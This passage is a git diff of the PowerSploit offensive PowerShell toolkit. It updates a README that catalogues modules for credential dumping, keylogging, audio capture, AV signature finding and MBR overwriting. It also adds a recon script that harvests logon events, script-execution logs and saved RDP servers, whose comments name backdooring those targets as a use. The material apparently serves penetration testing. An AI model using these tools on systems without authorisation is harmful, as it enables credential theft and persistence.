+#### `Get-SecurityPackages` -Displays symbolic information from Windows lib files. +Enumerates all loaded security packages (SSPs). -#### `Get-DllLoadPath` +## AntivirusBypass -Returns the path from which Windows will load a Dll for the given executable. +**AV doesn't stand a chance against PowerShell!** -## ReverseEngineering +#### `Find-AVSignature` -**Tools to aid in reverse engineering.** +Locates single Byte AV signatures utilizing the same method as DSplit from "class101". -#### `Get-PEB` +## Exfiltration -Returns the process environment block (PEB) of a process. +**All your data belong to me!** -#### `Get-ILDisassembly` +#### `Invoke-TokenManipulation` -Disassembles a raw MSIL byte array passed in from a MethodInfo object in a manner similar to that of Ildasm. +Lists available logon tokens. Creates processes with other users logon tokens, and impersonates logon tokens in the current thread. -#### `Get-NtSystemInformation` +#### `Invoke-CredentialInjection` -A utility that calls and parses the output of the ntdll!NtQuerySystemInformation function. This utility can be used to query internal OS information that is typically not made visible to a user. +Create logons with clear-text credentials without triggering a suspicious Event ID 4648 (Explicit Credential Logon). -#### `Get-StructFromMemory` +#### `Invoke-NinjaCopy` -Marshals data from an unmanaged block of memory in an arbitrary process to a newly allocated managed object of the specified type. +Copies a file from an NTFS partitioned volume by reading the raw volume and parsing the NTFS structures. -#### `Get-Member` +#### `Invoke-Mimikatz` -A proxy function used to extend the built-in Get-Member cmdlet. It adds the '-Private' parameter allowing you to display non-public .NET members +Reflectively loads Mimikatz 2.0 in memory using PowerShell. Can be used to dump credentials without writing anything to disk. Can be used for any functionality provided with Mimikatz. -#### `New-Object` +#### `Get-Keystrokes` -A proxy function for New-Object that accepts a CLSID with the -ComObject parameter. +Logs keys pressed, time and the active window. -#### `Get-Strings` +#### `Get-GPPPassword` -Dumps strings from files in both Unicode and Ascii. This cmdlet replicates the functionality of strings.exe from Sysinternals. +Retrieves the plaintext password and other information for accounts pushed through Group Policy Preferences. -#### `ConvertTo-String` +#### `Get-GPPAutologon` -Converts the bytes of a file to a string that has a 1-to-1 mapping back to the file's original bytes. ConvertTo-String is useful for performing binary regular expressions. +Retrieves autologon username and password from registry.xml if pushed through Group Policy Preferences. -#### `Get-MethodAddress` +#### `Get-TimedScreenshot` -Get the unmanaged function address of a .NET method. +A function that takes screenshots at a regular interval and saves them to a folder. -#### `Register-ProcessModuleTrace` +#### `New-VolumeShadowCopy` -Starts a trace of loaded process modules +Creates a new volume shadow copy. -#### `Get-ProcessModuleTrace` +#### `Get-VolumeShadowCopy` -Displays the process modules that have been loaded since the call to Register-ProcessModuleTrace +Lists the device paths of all local volume shadow copies. -#### `Unregister-ProcessModuleTrace` +#### `Mount-VolumeShadowCopy` -Stops the running process module trace +Mounts a volume shadow copy. -## AntivirusBypass +#### `Remove-VolumeShadowCopy` -**AV doesn't stand a chance against PowerShell!** +Deletes a volume shadow copy. -#### `Find-AVSignature` +#### `Get-VaultCredential` -Locates single Byte AV signatures utilizing the same method as DSplit from "class101". +Displays Windows vault credential objects including cleartext web credentials. -## Exfiltration +#### `Out-Minidump` -**All your data belong to me!** +Generates a full-memory minidump of a process. -#### `Invoke-NinjaCopy` +#### `Get-MicrophoneAudio` -Copies a file from an NTFS partitioned volume by reading the raw volume and parsing the NTFS structures. +Records audio from system microphone and saves to disk -#### `Invoke-Mimikatz` +## Mayhem -Reflectively loads Mimikatz 1.0 in memory using PowerShell. Can be used to dump credentials without writing anything to disk. Can be used for any functionality provided with Mimikatz. +**Cause general mayhem with PowerShell.** -#### `Get-Keystrokes` +#### `Set-MasterBootRecord` -Logs keys pressed, time and the active window. +Proof of concept code that overwrites the master boot record with the + message of your choice. -#### `Get-GPPPassword` +#### `Set-CriticalProcess` -Retrieves the plaintext password and other information for accounts pushed through Group Policy Preferences. +Causes your machine to blue screen upon exiting PowerShell. -#### `Get-TimedScreenshot` +## Privesc -A function that takes screenshots at a regular interval and saves them to a folder. +**Tools to help with escalating privileges on a target.** -#### `Out-Minidump` +#### `PowerUp` -Generates a full-memory minidump of a process. +Clearing house of common privilege escalation checks, along with some weaponization vectors. ## Recon @@ -182,7 +173,11 @@ Returns the HTTP Status Codes and full URL for specified paths when provided wit #### `Invoke-ReverseDnsLookup` -Scans an IP address range for DNS PTR records. This script is useful for performing DNS reconnaissance prior to conducting an authorized penetration test. +Scans an IP address range for DNS PTR records. + +#### `PowerView` + +PowerView is series of functions that performs network and Windows domain enumeration and exploitation. ## Recon\Dictionaries @@ -194,7 +189,7 @@ Scans an IP address range for DNS PTR records. This script is useful for perform ## License -The PowerSploit project and all individual scripts are under the [BSD 3-Clause license](https://raw.github.com/mattifestation/PowerSploit/master/LICENSE). +The PowerSploit project and all individual scripts are under the [BSD 3-Clause license](https://raw.github.com/mattifestation/PowerSploit/master/LICENSE) unless explicitly noted otherwise. ## Usage @@ -209,15 +204,29 @@ To use the module, type `Import-Module PowerSploit` To see the commands imported, type `Get-Command -Module PowerSploit` +If you're running PowerShell v3 and you want to remove the annoying 'Do you really want to run scripts downloaded from the Internet' warning, once you've placed PowerSploit into your module path, run the following one-liner: +`$Env:PSModulePath.Split(';') | + % { if ( Test-Path (Join-Path $_ PowerSploit) ) + {Get-ChildItem $_ -Recurse | Unblock-File} }` + For help on each individual command, Get-Help is your friend. Note: The tools contained within this module were all designed such that they can be run individually. Including them in a module simply lends itself to increased portability. +## Contribution Rules + +We need contributions! If you have a great idea for PowerSploit, we'd love to add it. New additions will require the following: + +* The script must adhere to the style guide. Any exceptions to the guide line would need an explicit, valid reason. +* The module manifest needs to be updated to reflect the new function being added. +* A brief description of the function should be added to this README.md +* Pester tests must accompany all new functions. See the Tests folder for examples but we are looking for tests that at least cover the basics by testing for expected/unexpected input/output and that the function exhibits desired functionality. Make sure the function is passing all tests (preferably in mutiple OSes) prior to submitting a pull request. Thanks! + ## Script Style Guide **For all contributors and future contributors to PowerSploit, I ask that you follow this style guide when writing your scripts/modules.** -* Avoid Write-Host **at all costs**. You should output custom objects instead. For more information on creating custom objects, read these articles: +* Avoid Write-Host **at all costs**. PowerShell functions/cmdlets are not command-line utilities! Pull requests containing code that uses Write-Host will not be considered. You should output custom objects instead. For more information on creating custom objects, read these articles: * * @@ -225,7 +234,7 @@ Note: The tools contained within this module were all designed such that they ca * Always provide descriptive, comment-based help for every script. Also, be sure to include your name and a BSD 3-Clause license (unless there are extenuating circumstances that prevent the application of the BSD license). -* Make sure all functions follow the proper PowerShell verb-noun agreement. Use Get-Verb to list the default verbs used by PowerShell. +* Make sure all functions follow the proper PowerShell verb-noun agreement. Use Get-Verb to list the default verbs used by PowerShell. Exceptions to supported verbs will be considered on a case-by-case basis. * I prefer that variable names be capitalized and be as descriptive as possible. @@ -235,29 +244,23 @@ Note: The tools contained within this module were all designed such that they ca * Catch all anticipated errors and provide meaningful output. If you have an error that should stop execution of the script, use 'Throw'. If you have an error that doesn't need to stop execution, use Write-Error. -* If you are writing a script that interfaces with the Win32 API, do not compile C# code unless absolutely necessary. It is imperative that nothing aside from the script touches the disk. +* If you are writing a script that interfaces with the Win32 API, try to avoid compiling C# inline with Add-Type. Try to use the PSReflect module, if possible. * Do not use hardcoded paths. A script should be useable right out of the box. No one should have to modify the code unless they want to. -* I don't want any v3 dependencies right now. In fact, it would be ideal to use `Set-StrictMode -Version 2.0` to ensure you are conforming to PowerShell v2 best practices. +* PowerShell v2 compatibility is highly desired. * Use positional parameters and make parameters mandatory when it makes sense to do so. For example, I'm looking for something like the following: * `[Parameter(Position = 0, Mandatory = $True)]` * Don't use any aliases unless it makes sense for receiving pipeline input. They make code more difficult to read for people who are unfamiliar with a particular alias. -* Don't let commands run on for too long. For example, a pipeline is a natural place for a line break. +* Try not to let commands run on for too long. For example, a pipeline is a natural place for a line break. * Don't go overboard with inline comments. Only use them when certain aspects of the code might be confusing to a reader. -* Use Out-Null to suppress unwanted/irrelevant output. - -* Only use .NET code when absolutely necessary. - -* Use the Write-Output keyword when returning an object from a function. I know it's not necessary but it makes the code more readable. +* Rather than using Out-Null to suppress unwanted/irrelevant output, save the unwanted output to $null. Doing so provides a slight performance enhancement. * Use default values for your parameters when it makes sense. Ideally, you want a script that will work without requiring any parameters. -* Scripts that are intended to run on a remote machine should be self-contained and not rely upon any additional scripts. Scripts that are designed to run on your host machine can have dependencies on other scripts. - -* If a script creates complex custom objects, include a ps1xml file that will properly format the object's output. \ No newline at end of file +* If a script creates complex custom objects, include a ps1xml file that will properly format the object's output. diff --git a/Recon/Get-ComputerDetail.ps1 b/Recon/Get-ComputerDetail.ps1 new file mode 100644 index 00000000..ef3720cc --- /dev/null +++ b/Recon/Get-ComputerDetail.ps1 @@ -0,0 +1,574 @@ +function Get-ComputerDetail +{ +<# +.SYNOPSIS + +This script is used to get useful information from a computer. + +Function: Get-ComputerDetail +Author: Joe Bialek, Twitter: @JosephBialek +Required Dependencies: None +Optional Dependencies: None + +.DESCRIPTION + +This script is used to get useful information from a computer. Currently, the script gets the following information: +-Explicit Credential Logons (Event ID 4648) +-Logon events (Event ID 4624) +-AppLocker logs to find what processes are created +-PowerShell logs to find PowerShell scripts which have been executed +-RDP Client Saved Servers, which indicates what servers the user typically RDP's in to + +.PARAMETER ToString + +Switch: Outputs the data as text instead of objects, good if you are using this script through a backdoor. + +.EXAMPLE + +Get-ComputerDetail +Gets information about the computer and outputs it as PowerShell objects. + +Get-ComputerDetail -ToString +Gets information about the computer and outputs it as raw text. + +.NOTES +This script is useful for fingerprinting a server to see who connects to this server (from where), and where users on this server connect to. +You can also use it to find Powershell scripts and executables which are typically run, and then use this to backdoor those files. + +.LINK + +Blog: http://clymb3r.wordpress.com/ +Github repo: https://github.com/clymb3r/PowerShell + +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + Param( + [Parameter(Position=0)] + [Switch] + $ToString + ) + + Set-StrictMode -Version 2 + + $SecurityLog = Get-EventLog -LogName Security + $Filtered4624 = Find-4624Logon $SecurityLog + $Filtered4648 = Find-4648Logon $SecurityLog + $AppLockerLogs = Find-AppLockerLog + $PSLogs = Find-PSScriptsInPSAppLog + $RdpClientData = Find-RDPClientConnection + + if ($ToString) + { + Write-Output "Event ID 4624 (Logon):" + Write-Output $Filtered4624.Values | Format-List + Write-Output "Event ID 4648 (Explicit Credential Logon):" + Write-Output $Filtered4648.Values | Format-List + Write-Output "AppLocker Process Starts:" + Write-Output $AppLockerLogs.Values | Format-List + Write-Output "PowerShell Script Executions:" + Write-Output $PSLogs.Values | Format-List + Write-Output "RDP Client Data:" + Write-Output $RdpClientData.Values | Format-List + } + else + { + $Properties = @{ + LogonEvent4624 = $Filtered4624.Values + LogonEvent4648 = $Filtered4648.Values + AppLockerProcessStart = $AppLockerLogs.Values + PowerShellScriptStart = $PSLogs.Values + RdpClientData = $RdpClientData.Values + } + + $ReturnObj = New-Object PSObject -Property $Properties + return $ReturnObj + } +} + + +function Find-4648Logon +{ +<# +.SYNOPSIS + +Retrieve the unique 4648 logon events. This will often find cases where a user is using remote desktop to connect to another computer. It will give the +the account that RDP was launched with and the account name of the account being used to connect to the remote computer. This is useful +for identifying normal authenticaiton patterns. Other actions that will trigger this include any runas action. + +Function: Find-4648Logon +Author: Joe Bialek, Twitter: @JosephBialek +Required Dependencies: None +Optional Dependencies: None + +.DESCRIPTION + +Retrieve the unique 4648 logon events. This will often find cases where a user is using remote desktop to connect to another computer. It will give the +the account that RDP was launched with and the account name of the account being used to connect to the remote computer. This is useful +for identifying normal authenticaiton patterns. Other actions that will trigger this include any runas action. + +.EXAMPLE + +Find-4648Logon +Gets the unique 4648 logon events. + +.NOTES + +.LINK + +Blog: http://clymb3r.wordpress.com/ +Github repo: https://github.com/clymb3r/PowerShell +#> + + Param( + $SecurityLog + ) + + $ExplicitLogons = $SecurityLog | Where-Object {$_.InstanceID -eq 4648} + $ReturnInfo = @{} + + foreach ($ExplicitLogon in $ExplicitLogons) + { + $Subject = $false + $AccountWhosCredsUsed = $false + $TargetServer = $false + $SourceAccountName = "" + $SourceAccountDomain = "" + $TargetAccountName = "" + $TargetAccountDomain = "" + $TargetServer = "" + foreach ($line in $ExplicitLogon.Message -split "\r\n") + { + if ($line -cmatch "^Subject:$") + { + $Subject = $true + } + elseif ($line -cmatch "^Account\sWhose\sCredentials\sWere\sUsed:$") + { + $Subject = $false + $AccountWhosCredsUsed = $true + } + elseif ($line -cmatch "^Target\sServer:") + { + $AccountWhosCredsUsed = $false + $TargetServer = $true + } + elseif ($Subject -eq $true) + { + if ($line -cmatch "\s+Account\sName:\s+(\S.*)") + { + $SourceAccountName = $Matches[1] + } + elseif ($line -cmatch "\s+Account\sDomain:\s+(\S.*)") + { + $SourceAccountDomain = $Matches[1] + } + } + elseif ($AccountWhosCredsUsed -eq $true) + { + if ($line -cmatch "\s+Account\sName:\s+(\S.*)") + { + $TargetAccountName = $Matches[1] + } + elseif ($line -cmatch "\s+Account\sDomain:\s+(\S.*)") + { + $TargetAccountDomain = $Matches[1] + } + } + elseif ($TargetServer -eq $true) + { + if ($line -cmatch "\s+Target\sServer\sName:\s+(\S.*)") + { + $TargetServer = $Matches[1] + } + } + } + + #Filter out logins that don't matter + if (-not ($TargetAccountName -cmatch "^DWM-.*" -and $TargetAccountDomain -cmatch "^Window\sManager$")) + { + $Key = $SourceAccountName + $SourceAccountDomain + $TargetAccountName + $TargetAccountDomain + $TargetServer + if (-not $ReturnInfo.ContainsKey($Key)) + { + $Properties = @{ + LogType = 4648 + LogSource = "Security" + SourceAccountName = $SourceAccountName + SourceDomainName = $SourceAccountDomain + TargetAccountName = $TargetAccountName + TargetDomainName = $TargetAccountDomain + TargetServer = $TargetServer + Count = 1 + Times = @($ExplicitLogon.TimeGenerated) + } + + $ResultObj = New-Object PSObject -Property $Properties + $ReturnInfo.Add($Key, $ResultObj) + } + else + { + $ReturnInfo[$Key].Count++ + $ReturnInfo[$Key].Times += ,$ExplicitLogon.TimeGenerated + } + } + } + + return $ReturnInfo +} + +function Find-4624Logon +{ +<# +.SYNOPSIS + +Find all unique 4624 Logon events to the server. This will tell you who is logging in and how. You can use this to figure out what accounts do +network logons in to the server, what accounts RDP in, what accounts log in locally, etc... + +Function: Find-4624Logon +Author: Joe Bialek, Twitter: @JosephBialek +Required Dependencies: None +Optional Dependencies: None + +.DESCRIPTION + +Find all unique 4624 Logon events to the server. This will tell you who is logging in and how. You can use this to figure out what accounts do +network logons in to the server, what accounts RDP in, what accounts log in locally, etc... + +.EXAMPLE + +Find-4624Logon +Find unique 4624 logon events. + +.NOTES + +.LINK + +Blog: http://clymb3r.wordpress.com/ +Github repo: https://github.com/clymb3r/PowerShell +#> + Param ( + $SecurityLog + ) + + $Logons = $SecurityLog | Where-Object {$_.InstanceID -eq 4624} + $ReturnInfo = @{} + + foreach ($Logon in $Logons) + { + $SubjectSection = $false + $NewLogonSection = $false + $NetworkInformationSection = $false + $AccountName = "" + $AccountDomain = "" + $LogonType = "" + $NewLogonAccountName = "" + $NewLogonAccountDomain = "" + $WorkstationName = "" + $SourceNetworkAddress = "" + $SourcePort = "" + + foreach ($line in $Logon.Message -Split "\r\n") + { + if ($line -cmatch "^Subject:$") + { + $SubjectSection = $true + } + elseif ($line -cmatch "^Logon\sType:\s+(\S.*)") + { + $LogonType = $Matches[1] + } + elseif ($line -cmatch "^New\sLogon:$") + { + $SubjectSection = $false + $NewLogonSection = $true + } + elseif ($line -cmatch "^Network\sInformation:$") + { + $NewLogonSection = $false + $NetworkInformationSection = $true + } + elseif ($SubjectSection) + { + if ($line -cmatch "^\s+Account\sName:\s+(\S.*)") + { + $AccountName = $Matches[1] + } + elseif ($line -cmatch "^\s+Account\sDomain:\s+(\S.*)") + { + $AccountDomain = $Matches[1] + } + } + elseif ($NewLogonSection) + { + if ($line -cmatch "^\s+Account\sName:\s+(\S.*)") + { + $NewLogonAccountName = $Matches[1] + } + elseif ($line -cmatch "^\s+Account\sDomain:\s+(\S.*)") + { + $NewLogonAccountDomain = $Matches[1] + } + } + elseif ($NetworkInformationSection) + { + if ($line -cmatch "^\s+Workstation\sName:\s+(\S.*)") + { + $WorkstationName = $Matches[1] + } + elseif ($line -cmatch "^\s+Source\sNetwork\sAddress:\s+(\S.*)") + { + $SourceNetworkAddress = $Matches[1] + } + elseif ($line -cmatch "^\s+Source\sPort:\s+(\S.*)") + { + $SourcePort = $Matches[1] + } + } + } + + #Filter out logins that don't matter + if (-not ($NewLogonAccountDomain -cmatch "NT\sAUTHORITY" -or $NewLogonAccountDomain -cmatch "Window\sManager")) + { + $Key = $AccountName + $AccountDomain + $NewLogonAccountName + $NewLogonAccountDomain + $LogonType + $WorkstationName + $SourceNetworkAddress + $SourcePort + if (-not $ReturnInfo.ContainsKey($Key)) + { + $Properties = @{ + LogType = 4624 + LogSource = "Security" + SourceAccountName = $AccountName + SourceDomainName = $AccountDomain + NewLogonAccountName = $NewLogonAccountName + NewLogonAccountDomain = $NewLogonAccountDomain + LogonType = $LogonType + WorkstationName = $WorkstationName + SourceNetworkAddress = $SourceNetworkAddress + SourcePort = $SourcePort + Count = 1 + Times = @($Logon.TimeGenerated) + } + + $ResultObj = New-Object PSObject -Property $Properties + $ReturnInfo.Add($Key, $ResultObj) + } + else + { + $ReturnInfo[$Key].Count++ + $ReturnInfo[$Key].Times += ,$Logon.TimeGenerated + } + } + } + + return $ReturnInfo +} + + +function Find-AppLockerLog +{ +<# +.SYNOPSIS + +Look through the AppLocker logs to find processes that get run on the server. You can then backdoor these exe's (or figure out what they normally run). + +Function: Find-AppLockerLog +Author: Joe Bialek, Twitter: @JosephBialek +Required Dependencies: None +Optional Dependencies: None + +.DESCRIPTION + +Look through the AppLocker logs to find processes that get run on the server. You can then backdoor these exe's (or figure out what they normally run). + +.EXAMPLE + +Find-AppLockerLog +Find process creations from AppLocker logs. + +.NOTES + +.LINK + +Blog: http://clymb3r.wordpress.com/ +Github repo: https://github.com/clymb3r/PowerShell +#> + + $ReturnInfo = @{} + + $AppLockerLogs = Get-WinEvent -LogName "Microsoft-Windows-AppLocker/EXE and DLL" -ErrorAction SilentlyContinue | Where-Object {$_.Id -eq 8002} + + foreach ($Log in $AppLockerLogs) + { + $SID = New-Object System.Security.Principal.SecurityIdentifier($Log.Properties[7].Value) + $UserName = $SID.Translate( [System.Security.Principal.NTAccount]) + + $ExeName = $Log.Properties[10].Value + + $Key = $UserName.ToString() + "::::" + $ExeName + + if (!$ReturnInfo.ContainsKey($Key)) + { + $Properties = @{ + Exe = $ExeName + User = $UserName.Value + Count = 1 + Times = @($Log.TimeCreated) + } + + $Item = New-Object PSObject -Property $Properties + $ReturnInfo.Add($Key, $Item) + } + else + { + $ReturnInfo[$Key].Count++ + $ReturnInfo[$Key].Times += ,$Log.TimeCreated + } + } + + return $ReturnInfo +} + + +Function Find-PSScriptsInPSAppLog +{ +<# +.SYNOPSIS + +Go through the PowerShell operational log to find scripts that run (by looking for ExecutionPipeline logs eventID 4100 in PowerShell app log). +You can then backdoor these scripts or do other malicious things. + +Function: Find-AppLockerLog +Author: Joe Bialek, Twitter: @JosephBialek +Required Dependencies: None +Optional Dependencies: None + +.DESCRIPTION + +Go through the PowerShell operational log to find scripts that run (by looking for ExecutionPipeline logs eventID 4100 in PowerShell app log). +You can then backdoor these scripts or do other malicious things. + +.EXAMPLE + +Find-PSScriptsInPSAppLog +Find unique PowerShell scripts being executed from the PowerShell operational log. + +.NOTES + +.LINK + +Blog: http://clymb3r.wordpress.com/ +Github repo: https://github.com/clymb3r/PowerShell +#> + + $ReturnInfo = @{} + $Logs = Get-WinEvent -LogName "Microsoft-Windows-PowerShell/Operational" -ErrorAction SilentlyContinue | Where-Object {$_.Id -eq 4100} + + foreach ($Log in $Logs) + { + $LogDetails = $Log.Message -split "`r`n" + + $FoundScriptName = $false + foreach($Line in $LogDetails) + { + if ($Line -imatch "^\s*Script\sName\s=\s(.+)") + { + $ScriptName = $Matches[1] + $FoundScriptName = $true + } + elseif ($Line -imatch "^\s*User\s=\s(.*)") + { + $User = $Matches[1] + } + } + + if ($FoundScriptName) + { + $Key = $ScriptName + "::::" + $User + + if (!$ReturnInfo.ContainsKey($Key)) + { + $Properties = @{ + ScriptName = $ScriptName + UserName = $User + Count = 1 + Times = @($Log.TimeCreated) + } + + $Item = New-Object PSObject -Property $Properties + $ReturnInfo.Add($Key, $Item) + } + else + { + $ReturnInfo[$Key].Count++ + $ReturnInfo[$Key].Times += ,$Log.TimeCreated + } + } + } + + return $ReturnInfo +} + + +Function Find-RDPClientConnection +{ +<# +.SYNOPSIS + +Search the registry to find saved RDP client connections. This shows you what connections an RDP client has remembered, indicating what servers the user +usually RDP's to. + +Function: Find-RDPClientConnection +Author: Joe Bialek, Twitter: @JosephBialek +Required Dependencies: None +Optional Dependencies: None + +.DESCRIPTION + +Search the registry to find saved RDP client connections. This shows you what connections an RDP client has remembered, indicating what servers the user usually RDP's to. + +.EXAMPLE + +Find-RDPClientConnection +Find unique saved RDP client connections. + +.NOTES + +.LINK + +Blog: http://clymb3r.wordpress.com/ +Github repo: https://github.com/clymb3r/PowerShell +#> + $ReturnInfo = @{} + + New-PSDrive -Name HKU -PSProvider Registry -Root Registry::HKEY_USERS | Out-Null + + #Attempt to enumerate the servers for all users + $Users = Get-ChildItem -Path "HKU:\" + foreach ($UserSid in $Users.PSChildName) + { + $Servers = Get-ChildItem "HKU:\$($UserSid)\Software\Microsoft\Terminal Server Client\Servers" -ErrorAction SilentlyContinue + + foreach ($Server in $Servers) + { + $Server = $Server.PSChildName + $UsernameHint = (Get-ItemProperty -Path "HKU:\$($UserSid)\Software\Microsoft\Terminal Server Client\Servers\$($Server)").UsernameHint + + $Key = $UserSid + "::::" + $Server + "::::" + $UsernameHint + + if (!$ReturnInfo.ContainsKey($Key)) + { + $SIDObj = New-Object System.Security.Principal.SecurityIdentifier($UserSid) + $User = ($SIDObj.Translate([System.Security.Principal.NTAccount])).Value + + $Properties = @{ + CurrentUser = $User + Server = $Server + UsernameHint = $UsernameHint + } + + $Item = New-Object PSObject -Property $Properties + $ReturnInfo.Add($Key, $Item) + } + } + } + + return $ReturnInfo +} diff --git a/Recon/Get-HttpStatus.ps1 b/Recon/Get-HttpStatus.ps1 index fde3d262..b271efde 100644 --- a/Recon/Get-HttpStatus.ps1 +++ b/Recon/Get-HttpStatus.ps1 @@ -5,11 +5,11 @@ function Get-HttpStatus Returns the HTTP Status Codes and full URL for specified paths. -PowerSploit Function: Get-HttpStatus -Author: Chris Campbell (@obscuresec) -License: BSD 3-Clause -Required Dependencies: None -Optional Dependencies: None +PowerSploit Function: Get-HttpStatus +Author: Chris Campbell (@obscuresec) +License: BSD 3-Clause +Required Dependencies: None +Optional Dependencies: None .DESCRIPTION @@ -42,7 +42,7 @@ C:\PS> Get-HttpStatus -Target www.example.com -Path c:\dictionary.txt -UseSSL .NOTES HTTP Status Codes: 100 - Informational * 200 - Success * 300 - Redirection * 400 - Client Error * 500 - Server Error - + .LINK http://obscuresecurity.blogspot.com @@ -64,49 +64,54 @@ http://www.w3.org/Protocols/rfc2616/rfc2616-sec10.html [Switch] $UseSSL ) - + if (Test-Path $Path) { - + if ($UseSSL -and $Port -eq 0) { # Default to 443 if SSL is specified but no port is specified $Port = 443 - } elseif ($Port -eq 0) { + } + elseif ($Port -eq 0) { # Default to port 80 if no port is specified $Port = 80 } - + $TcpConnection = New-Object System.Net.Sockets.TcpClient Write-Verbose "Path Test Succeeded - Testing Connectivity" - + try { # Validate that the host is listening before scanning $TcpConnection.Connect($Target, $Port) - } catch { + } + catch { Write-Error "Connection Test Failed - Check Target" $Tcpconnection.Close() - Return + Return } - + $Tcpconnection.Close() - } else { + } + else { Write-Error "Path Test Failed - Check Dictionary Path" Return } - + if ($UseSSL) { $SSL = 's' # Ignore invalid SSL certificates [System.Net.ServicePointManager]::ServerCertificateValidationCallback = { $True } - } else { + } + else { $SSL = '' } - + if (($Port -eq 80) -or ($Port -eq 443)) { $PortNum = '' - } else { + } + else { $PortNum = ":$Port" } - + # Check Http status for each entry in the doctionary file foreach ($Item in Get-Content $Path) { @@ -117,24 +122,23 @@ http://www.w3.org/Protocols/rfc2616/rfc2616-sec10.html $WebRequest = [System.Net.WebRequest]::Create($URI) $WebResponse = $WebRequest.GetResponse() $WebStatus = $WebResponse.StatusCode - $ResultObject += $ScanObject $WebResponse.Close() - } catch { + } + catch { $WebStatus = $Error[0].Exception.InnerException.Response.StatusCode - - if ($WebStatus -eq $null) { + + if (-not $WebStatus) { # Not every exception returns a StatusCode. # If that is the case, return the Status. $WebStatus = $Error[0].Exception.InnerException.Status } - } - + } + $Result = @{ Status = $WebStatus; URL = $WebTarget} - + $ScanObject = New-Object -TypeName PSObject -Property $Result - + Write-Output $ScanObject - } -} \ No newline at end of file +} diff --git a/Recon/Invoke-CompareAttributesForClass.ps1 b/Recon/Invoke-CompareAttributesForClass.ps1 new file mode 100644 index 00000000..b2d11c69 --- /dev/null +++ b/Recon/Invoke-CompareAttributesForClass.ps1 @@ -0,0 +1,1044 @@ +function Get-AllAttributesForClass +{<# +.Synopsis + Gets all AD Schema attributes for class +.DESCRIPTION + This function will get all attributes for a class from AD. +.EXAMPLE + PS C:\> Get-AllAttributesForAClass -class user +.EXAMPLE + PS C:\> Get-AllAttributesForAClass -class computer +#> + [CmdletBinding()] + Param( + [Parameter(Mandatory=$true)] + [String] + $Class + ) + + Process { + #Custom object + $ListOfAttributesFromAD = @() + + #lets get all classes and store in a variable. + $NextClass = $Class + $AllClasses = Do + { + $CurrentClass = $NextClass + $NextClass = Get-ADObject -SearchBase "$((Get-ADRootDSE).SchemaNamingContext)" -Filter {lDAPDisplayName -eq $NextClass} -properties subClassOf |Select-Object -ExpandProperty subClassOf + $CurrentClass + } + While($CurrentClass -ne $NextClass) + #Now that we have our classes in $allClasses lets turn to the attributes + $attributAttributes = 'MayContain','MustContain','systemMayContain','systemMustContain' + Write-verbose "Attempting to find all attributes for the AD Object: $($ADObj.Name)" + $AllAttributes = ForEach ($Class in $AllClasses) + { + $ClassInfo = Get-ADObject -SearchBase "$((Get-ADRootDSE).SchemaNamingContext)" -Filter {lDAPDisplayName -eq $Class} -properties $attributAttributes + ForEach ($attribute in $attributAttributes) + { + $ListOfAttributesFromAD += $ClassInfo.$attribute + $ClassInfo.$attribute + } + } + $ListOfAttributesAD = $ListOfAttributesFromAD | Sort-Object -Unique + write-output $ListOfAttributesAD + } + End + { + } +} + + +function Invoke-CompareAttributesForClass +{ +<# +.Synopsis + Author: @oddvarmoe + Required Dependencies: Search-ADAccounts, Set-ADComputer, Get-ADForest, Get-ADDomain, + Optional Dependencies: None + Compares list of attributes with active attributes in Active Directory. Currently only works with user and computer class. + +.DESCRIPTION + Compares list of attributes with active attributes in Active Directory. + This function is used to spot unusal attributes. + + Example where an attribute is found in AD and not in compare list: + InputObject SideIndicator + ----------- ------------- + TopSecretAttribute => + + +.EXAMPLE + PS C:\> Invoke-CompareAttributesForClass -Class user + +.EXAMPLE + PS C:\> Invoke-CompareAttributesForClass -Class computer +#> + [CmdletBinding()] + Param( + [Parameter(Mandatory=$true)] + [ValidateSet("User","Computer")] + [String] + $Class + ) + + Process { + #https://msdn.microsoft.com/en-us/library/ms683980(v=vs.85).aspx + #List of attributes generated from demo AD with Exchange schema changes on Server 2016 DC + #TODO: Attributes based on AD Domain level or Schema version. + if($Class -eq "user"){ + $UserAttributeListFromAD = Get-AllAttributesForClass -Class user + + $UserAttributelist = @( + "accountExpires", + "aCSPolicyName", + "adminCount", + "adminDescription", + "adminDisplayName", + "allowedAttributes", + "allowedAttributesEffective", + "allowedChildClasses", + "allowedChildClassesEffective", + "assistant", + "attributeCertificateAttribute", + "audio", + "badPasswordTime", + "badPwdCount", + "bridgeheadServerListBL", + "businessCategory", + "businessRoles", + "c", + "canonicalName", + "carLicense", + "cn", + "co", + "codePage", + "comment", + "company", + "controlAccessRights", + "countryCode", + "createTimeStamp", + "dBCSPwd", + "defaultClassStore", + "department", + "departmentNumber", + "description", + "desktopProfile", + "destinationIndicator", + "directReports", + "displayName", + "displayNamePrintable", + "distinguishedName", + "division", + "dSASignature", + "dSCorePropagationData", + "dynamicLDAPServer", + "employeeID", + "employeeNumber", + "employeeType", + "extensionName", + "facsimileTelephoneNumber", + "flags", + "fromEntry", + "frsComputerReferenceBL", + "fRSMemberReferenceBL", + "fSMORoleOwner", + "generationQualifier", + "givenName", + "groupMembershipSAM", + "groupPriority", + "groupsToIgnore", + "homeDirectory", + "homeDrive", + "homePhone", + "homePostalAddress", + "houseIdentifier", + "initials", + "instanceType", + "internationalISDNNumber", + "ipPhone", + "isCriticalSystemObject", + "isDeleted", + "isPrivilegeHolder", + "isRecycled", + "jpegPhoto", + "kMServer", + "l", + "labeledURI", + "lastKnownParent", + "lastLogoff", + "lastLogon", + "lastLogonTimestamp", + "lmPwdHistory", + "localeID", + "lockoutTime", + "logonCount", + "logonHours", + "logonWorkstation", + "mail", + "managedObjects", + "manager", + "masteredBy", + "maxStorage", + "memberOf", + "mhsORAddress", + "middleName", + "mobile", + "modifyTimeStamp", + "msCOM-PartitionSetLink", + "msCOM-UserLink", + "msCOM-UserPartitionSetLink", + "msDFSR-ComputerReferenceBL", + "msDFSR-MemberReferenceBL", + "msDRM-IdentityCertificate", + "msDS-AllowedToActOnBehalfOfOtherIdentity", + "msDS-AllowedToDelegateTo", + "msDS-Approx-Immed-Subordinates", + "msDS-AssignedAuthNPolicy", + "msDS-AssignedAuthNPolicySilo", + "msDS-AuthenticatedAtDC", + "msDS-AuthenticatedToAccountlist", + "msDS-AuthNPolicySiloMembersBL", + "msDS-Cached-Membership", + "msDS-Cached-Membership-Time-Stamp", + "msDS-ClaimSharesPossibleValuesWithBL", + "msDS-CloudAnchor", + "mS-DS-ConsistencyChildCount", + "mS-DS-ConsistencyGuid", + 